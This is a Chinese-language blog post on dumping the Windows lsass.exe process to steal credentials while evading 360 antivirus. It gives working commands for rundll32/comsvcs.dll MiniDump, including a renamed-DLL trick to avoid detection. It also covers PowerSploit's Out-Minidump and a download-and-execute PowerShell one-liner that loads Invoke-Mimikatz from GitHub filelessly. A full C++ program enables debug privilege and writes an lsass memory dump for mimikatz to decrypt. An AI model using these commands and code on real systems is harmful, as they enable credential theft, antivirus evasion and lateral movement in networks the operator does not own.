几种免杀转储 lsass 进程的技巧
在内网渗透进行横向移动和权限提升时,最常用的方法是通过 dump 进程 lsass.exe,从中获得明文口令或者 hash。lsass.exe(Local Security Authority Subsystem Service)是一个系统进程,用于微软 Windows 系统的安全机制,它用于本地安全和登陆策略。在进程空间中,存有着机器的域、本地用户名和密码等重要信息。但是需要首先获得一个高的权限才能对其进行访问。
在存在杀软防护的情况下,要想转储 lsass 进程,我首先想到的是 procdump+Mimikatz 的方式来绕过杀软,因为 Procdump 工具是微软自家的,不会引起报毒。但是我在实际测试中发现,这种思路还是会被 360 安全卫士拦截。

下面几个分享几个我学习到的绕过杀软转储 lsass 方式,目前亲测可过 360 安全卫士,别的杀软我还没有具体测试。下边分享的代码和工具虽然多种多样,但是本质上都是用到了 debugprivilege 和 MiniDump。杀软对 API 的监控不严格导致出现了安全问题。
使用系统内置功能绕过杀软
comsvcs.dll 系统自带。通过 comsvcs.dll 的导出函数 MiniDump 实现 dump 内存。在 dump 指定进程内存文件时,需要开启 SeDebugPrivilege 权限。管理员权限的 cmd 下,默认支持 SeDebugPrivilege 权限,但是状态为 Disabled 禁用状态

如果直接在 cmd 下执行 rundll32 的命令尝试 dump 指定进程内存文件的话,由于无法开启 SeDebugPrivilege 权限,会 dump 失败。
解决方式:
管理员权限的 powershell 下,默认支持 SeDebugPrivilege 权限,并且状态为已启用。

首先查看 lsass.exe 进程 PID:
tasklist | findstr lsass.exe
命令格式:
rundll32.exe comsvcs.dll MiniDump <lsass PID> <out path> full此处为:
rundll32.exe comsvcs.dll MiniDump 508 c:\windows\temp full直接运行会被拦截:


简单的绕过思路:
copy 一下 comsvcs.dll 并命名为随意名字,例如 test.dll
copy C:\windows\System32\comsvcs.dll test.dll
rundll32.exe test.dll, MiniDump 508 lsass.dmp full

成功转储了 lsass
下载到本地解密。这里有个坑点
我下载到本地后,解密失败。一开始以为保存的时候没有保存全,又试了几次还是没有解密。

经过查询资料得知,是新版的 mimikatz 和 win10 1809 版本之间的问题导致解密失败。详见 https://githubmemory.com/repo/gentilkiwi/mimikatz/issues/354
换用 mimikatz 1809 版就好了。

成功解密。
powershell 脚本
Out-MiniDump.ps1
使用 PowerSploit 的 Out-MiniDump 模块,PowerSploit 是一个基于 Powershell 的渗透工具包,可以选择创建进程的完整内存转储。工具连接: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
Import-Module Out-MiniDump 导入
Get-Process lsass | Out-Minidump 执行

解密

使用 ps 版 mimikatz
工具地址: https://github.com/fir3d0g/mimidogz
在执行 powershell 脚本的时候,常常采用
powershell "IEX (New-Object Net.WebClient).DownloadString ('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
远程加载的方式,达到文件不落地来更好的规避检测的目的,但是如果目标机器网络环境不允许的话,那就直接把 ps1 上传到目标机器来运行。

应用程序
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment ( lib, "dbghelp.lib" )
using namespace std;
#define INFO_BUFFER_SIZE 32767
std::wstring s2ws(const std::string& s)
{
int len;
int slength = (int)s.length() + 1;
len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);
wchar_t* buf = new wchar_t[len];
MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);
std::wstring r(buf);
delete[] buf;
return r;
}
// 提升权限为 debug
bool EnableDebugPrivilege()
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) //修改进程权限
{
CloseHandle(hToken);
return false;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) //通知系统修改进程权限
{
CloseHandle(hToken);
return false;
}
return true;
}
int main() {
char filename[INFO_BUFFER_SIZE];
char infoBuf[INFO_BUFFER_SIZE];
DWORD bufCharCount = INFO_BUFFER_SIZE;
GetComputerNameA(infoBuf, &bufCharCount);
strcpy_s(filename, infoBuf);
strcat_s(filename, "-");
strcat_s(filename, "lsass.dmp");
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFileA(filename, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {}; // 拍摄快照时驻留在系统地址空间里的进程列表结构体
processEntry.dwSize = sizeof(PROCESSENTRY32); //结构大小
LPCWSTR processName = L""; //进程名
if (Process32First(snapshot, &processEntry)) { //检索快照中第一个进程的信息
while (_wcsicmp(processName, L"lsass.exe") != 0) { //循环检索快照中的进程
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile; // 获取当前进程的进程名
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
if (EnableDebugPrivilege() == false)
{
printf("enable %d", GetLastError());
}
EnableDebugPrivilege();
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); // 根据 Pid 打开 lsass.exe 进程,获取句柄
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL); //转储 lsass,写入 outfile
if (isDumped) {
cout << "[+] Save To " << filename << endl;
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}上边的代码来源是吐司 https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=1
是我学习此知识点过程中遇到的考虑最完善的代码,他的代码相比较其他师傅的代码考虑了更多情况,比如说为了避免权限不足打不开 lsass 进程而导致 dmp 文件为空的情况,新增了提权函数加以验证。
程序运行分为以下几步:
1.提升权限。因为 lsass 进程的权限为 system 权限,所以想要对其操作首先要提升自身进程权限为 debug 权限。
2.对所有进程拍摄快照,然后循环检索 lsass 进程 id
3.将 lsass 内存的快照进行转储,并写入文件
将代码编译成 exe,运行看一下效果


成功转储。
放到装有 360 安全卫士的目标机器上运行,目标机器为 win 2008 R2 64 位系统

运行提示缺少 dll,下载对应 dll 移动到 c:/windows/system32 目录下

重新运行 exe 程序

成功转储。

使用 mimikatz 解密成功。
我在学习过程中,习惯用多个方法来解决一个问题。一是没有那种万能方法,能为我通杀所有的环境,同问题不多考虑几种方法的话,我本身会觉得比较虚;二是也趁着对同知识点学习的惯性,多手法之间能够融会贯通一下,免得在学同类型知识点就忘了以前是咋回事了。前人栽树,后人乘凉。本文是在学习师傅们思路手法的基础上,形成的一篇总结性的文章,在自己记录的同时,希望能帮到其他人。
参考链接:
https://githubmemory.com/repo/gentilkiwi/mimikatz/issues/354
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=1
https://mp.weixin.qq.com/s/IA42D6hjvk4Bld65Wahuag
https://_thorns.gitbooks.io/sec/content/powershell.html
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=2
https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf
https://www.t00ls.net/thread-62435-1-1.html
上一篇: CobaltStrike 上线隐藏
下一篇: Firefox 中导出明文密码
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!

发布评论